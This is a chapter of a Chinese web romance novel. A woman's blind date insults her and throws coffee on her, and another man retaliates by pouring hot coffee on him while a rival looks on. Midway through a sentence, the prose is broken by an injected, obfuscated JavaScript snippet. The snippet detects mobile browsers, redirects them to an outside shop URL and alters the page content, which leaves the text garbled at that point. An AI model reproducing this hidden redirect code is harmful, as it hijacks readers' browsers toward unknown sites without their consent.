姜涂盯着眼前的柠檬水发了一会儿呆,约莫五分钟后,她才回过神,环顾四周,周围熙攘的环境反而令此刻紧绷的她稍放松了一些。
据说那个相亲对象周末也要加班,两人盘算了一下,只有今天中午有空,便约了午休时在姜涂公司附近的咖啡店见个面。
在百般推脱不过后,两人还是加了微信,看得出手机那头的主人也并不是很主动,两人颇有默契地例行公事一般互相问候,最终选择了今天碰面。
她颇有种网友奔现的慌乱感,更何况这个叫梁岩的男人她只见过照片,就是中规中矩的普通程序员模样,瞧起来有些木讷。
梁岩已经迟到了,姜涂扫了一眼搁置在桌面上熄屏的手机,上面显示已经过了12点30,两人约好12点见面的,他已经迟到半个钟,尽管如此,姜涂还是耐着性子等待着,甚至心中觉得,梁岩就这样不来放她鸽子也挺好,错也不在她,这样起码跟长辈们有个交代,简直是两全其美之计。
可天不遂人愿,在12点35分的时候,姜涂还是见到了坐在她面前的男人——梁岩。
男人穿着深蓝色的格纹衬衫,下摆塞进米白色的休闲裤里,腰间系了一根一板一眼的深棕色皮带,配上黑色皮鞋,戴着一副黑框眼镜文质彬彬的模样,好像比照片上显得瘦小一些,略微驼背,从出现在她面前的那一刻起,在短暂对视后,男人就耸着肩低着头没再看她一眼。
他似乎比微信上还要不善言辞。
姜涂顿感无力,只能率先打破沉默僵局,开口问好:“梁先生你好,我是小姜。”
“嗯,你好,要吃点什么?”
男人的声音细若蚊吟,在嘈杂声中能传到姜涂耳朵里的信息并不清晰。
她啊了一声,纳闷地问:“您刚才说什么?我没听清。”
男人终于舍得抬起头,眼神里有被冒犯到的愠怒,语气生硬:“我说,可以点餐了。”
完全没有对自己迟到了半小时有道歉的自觉,有些自说自话,姜涂微愣,心中打着鼓,不悦的感觉充斥内心,她险些失去了耐心,但最终还是好声好气的,“这家的salad和pasta都挺好吃的,您可以试试看。”
“我说,你们白领都是这么装逼的吗?”
姜涂一时没反应过来,以为是自己耳背听错了,有些不可置信:“装什么?”
没想到梁岩完全不客气,直言不讳地重复了一遍,甚至强调了说的就是她:“你好装逼啊。”
“梁先生,我没得罪你吧?讲话是不是有点不太客气了。”
姜涂被说得有点郁闷,诚然,这是她在‘清科’工作时养成的习惯,有许多同事喜欢中英文混着说,她便也跟着这样交流,此番不知觉间把相亲切换到工作模式了。
“我最烦装逼的人,姜小姐,你是不是看不起我啊?还是说你是故意的?跟我相亲还特意选择这种地方,我们是中国人好嘛?偏偏要来这种洋鬼子的地方,我看你屁股歪到十万八千里去了。”
“……”
这样的指责太突破姜涂的认知,她嘴笨,一时不知道该如何反驳。
梁岩声音不小,直到他讲出这番话,周围稀碎的交流声顿时被打断了,瞬间安静下来。
梁岩看姜涂一言不发,更是恼怒,一拍桌子站起身来,食指非常不礼貌地指着她,居高临下的骂道:“没有诚意出来相什么亲,侮辱我?”
姜涂只觉得尴尬得想原地挖个洞钻进去,脸上青一阵红一阵,随即变得煞白,咬着牙正准备反击,刚要张嘴,迎面扑来一股热流,男人不知哪里来的火气,也不知自己究竟哪一点激怒了他,毫无预兆的,下一秒她就被泼了一脑袋的咖啡。
这杯冰美式还是她提前给他点的,此刻冰块已经尽数融化,只剩下苦涩漆黑的液体,她穿的浅色衬衣,此刻被咖啡色的渍迹印了满身,香浓的咖啡液顺着她的睫毛流淌下来,一开始是成串如泪珠,不一会儿变成了一滴滴,逐渐缓慢,只剩下狼狈不堪的她在众目睽睽之下被梁岩羞辱。
哪怕是这会儿功夫,她脑子里仍旧在走神,想着这次相亲应该足够造成她这一辈子的阴影了吧,旋即想到经历了这一遭,家里人短期内应该不会再敦促她相亲了吧,这一泼兴许不是坏事呢。
正这么想着,自己的前方突然出现了另一声高昂的尖叫。
“啊啊啊————”
姜涂赶忙用手将眼前被咖啡液糊住的眼睛扒开,只见那个男人铁青着脸,手中那杯白色马克杯已经见底,而面前的梁岩,脑袋上的头发正冒出白色的烟,模样跟她同样不堪。
和姜涂的冰美式不同,陆清泽手中的那杯,似乎还是冒着烟滚烫的焦糖咖啡。
————
时间退回到半小时前。
秦知知这几天心情非常好,自从亲耳听到陆清泽向她低头,她连眉毛都比往日要翘上三分,眉眼间全是得意,陆清泽对她的话言听计从,逆来顺受,从不反驳,认识这么多年来,第一次感受到如提线木偶般的陆清泽,这让她的占有欲控制欲都得到了充分的满足。
但唯一的弊端是,她更加搞不懂陆清泽了。
仿佛两个人的距离变得更加遥远。
上午的时候,陆清泽难得主动邀请她共进午餐,只不过选择的地点并不是以往她喜欢的昂贵餐厅,反而就近找了一家咖啡厅,是附近白领加班导致来不及吃饭时的最佳选择,这家餐厅她只喝过几次Judy外带的咖啡,味道还行,于是鬼使神差也就同意了。
原本就很不爽的秦知知,在看到了隔开几桌那个熟悉的背影后,立刻就明白了陆清泽主动的原因——姜涂。
从两人坐着的视角只能看出坐在姜涂对面的男人正用非常嚣张且挑衅的表情说着什么,而坐在她眼前的男人则是不悦地扯了扯领带。
秦知知侧身探去,她的角度看不到姜涂,只能看到她那个鼓鼓囊囊的后脑勺,不过并不用看正脸,她就能猜到对方此时一定看起来就很窝囊。
直到附近的人群发出一声错愕的吼叫,两人闻声望去,就看到姜涂被泼了一脸的咖啡,正不知所措,呆若木鸡地杵在原位。
秦知知旁若无人地扭过头,心中有些暗爽,刚准备端起咖啡喝一口热乎的焦糖拿铁,便被人不由分说地从手中夺了去。
陆清泽一言不发,几乎一瞬间就出现在了男人的身后,手起刀落直接将她那杯只喝了一口的滚烫咖啡灌进了那个男人微秃的头顶和短小的脖子里。
“啊——”随着一声尖叫,所有人的目光都被吸引了过来,引得一阵骚动。
“给她道歉。”
“什么?”
“给她道歉,我不想再说第三遍。”
“我凭什么?还有,你是哪位,我要报警,报警!”
“你报吧,”陆清泽眉毛都不带挑一下,干脆主动递
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607782|180394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出手机,“这里有监控,是你先对女孩子动手,我不过是以牙还牙,以眼还眼罢了。”
“是她先冒犯的我!是她!”
梁岩情绪激动,依旧食指戳着姜涂的鼻尖,“她羞辱我!”
陆清泽直接打掉他那根不礼貌地手指,重重提起他后脖颈的衣领,像拎小鸡一样把梁岩提溜了起来,对方脚都离了地。
“那就去警察局好好说道说道?我只知道是你先动的手。”
梁岩见陆清泽一副天不怕地不怕的模样,反而认怂了,语气也不似先前强硬,他恶狠狠地剜了姜涂一眼,眼神里的怨毒差点要溢出来,“你给我记着!今天是你走运!下次别再让我碰到你!晦气的贱女人!”
“你是谁,干嘛要多管闲事?”
“我是谁?她是我的女人,懂?你怎么敢动我的人?想死?”
这是姜涂第一次见到陆清泽如此阴鸷恐怖的眼神,像是要杀人一样,但很快,陆清泽像是意识到了什么,收敛了神情,“给你30秒,消失在我面前。”
可偏偏梁岩就是个没眼力见儿的,还以为陆清泽的恐吓不过是语言威胁,梗着脖子:“凭什么你叫我走我就走?你是哪根葱?”
陆清泽额头青筋暴起,对这个男人再也没了耐心,手一松将毫无防备的梁岩重重地扔到地上,后者吃着痛哎呦一声,又从地上手脚并用爬起来,战术性后撤了几步,连滚带爬的同时,还不忘留下一句经典的反派台词:“你,你给我等着!我要你们好看!”
陆清泽脖子侧仰,大声地回了一句:“我随时恭候。”
兴许这英雄救美的情景难得一见,等始作俑者跑路后,餐厅里登时响起了掌声以及喝彩,服务员拿着毛巾上前,略含歉意地将毛巾递给姜涂,“不好意思啊,事发太突然,我们准备报警了,这位先生就出现了,女士您看要不要报警呢?您认识刚才那个闹事的人吗?”
姜涂点点头,又摇摇头,接过毛巾,将湿漉漉的头发和衣服依次擦了擦,“没事,算了,算了吧。”
她无暇顾及那许多,只知道这辈子最丢人的时刻全部都有陆清泽的参与,她已经无力反抗了,似乎被他撞见已经成为了一种铁律。
陆清泽将身上的西装外套脱下,不由分说披在了姜涂的身上,搂着她准备离开。
“他是谁?”陆清泽问。
姜涂无意隐瞒,“相亲对象。”
“这种货色?谁挑的?”
她笑容苦涩,“我妈。”
“这么多年没见,阿姨的审美退步太多了吧。”
都这个节骨眼了,他还有余裕调侃。
见她依旧不语,陆清泽兀自牵起她的手,拉着她往店外走,“瞧你,衣服都被弄脏了,走,我带你去换身衣服。”
陆清泽旁若无人地牵起姜涂的手,旁若无人地离开,完全无视了身后不远处的秦知知,这在她看来,无疑是种挑衅,显得她宛如独角戏一样可笑。
她满腔怒火无处发泄,她是个商人,诚信是必要的品质,正欲发作之际蓦然想起和陆清泽的交易,脸色几经变幻,差点成为北影教材,掌风朝下,恶狠狠地锤了几下无辜的桌子,生硬的质地令她的拳头生疼,疼痛反噬,刺激着她摇摇欲坠快要断裂的神经。
“陆清泽,你未免太小看我了一些。”
秦知知拎起手机拨了个电话,待那头接通,她立刻换上了笑脸,“爸——”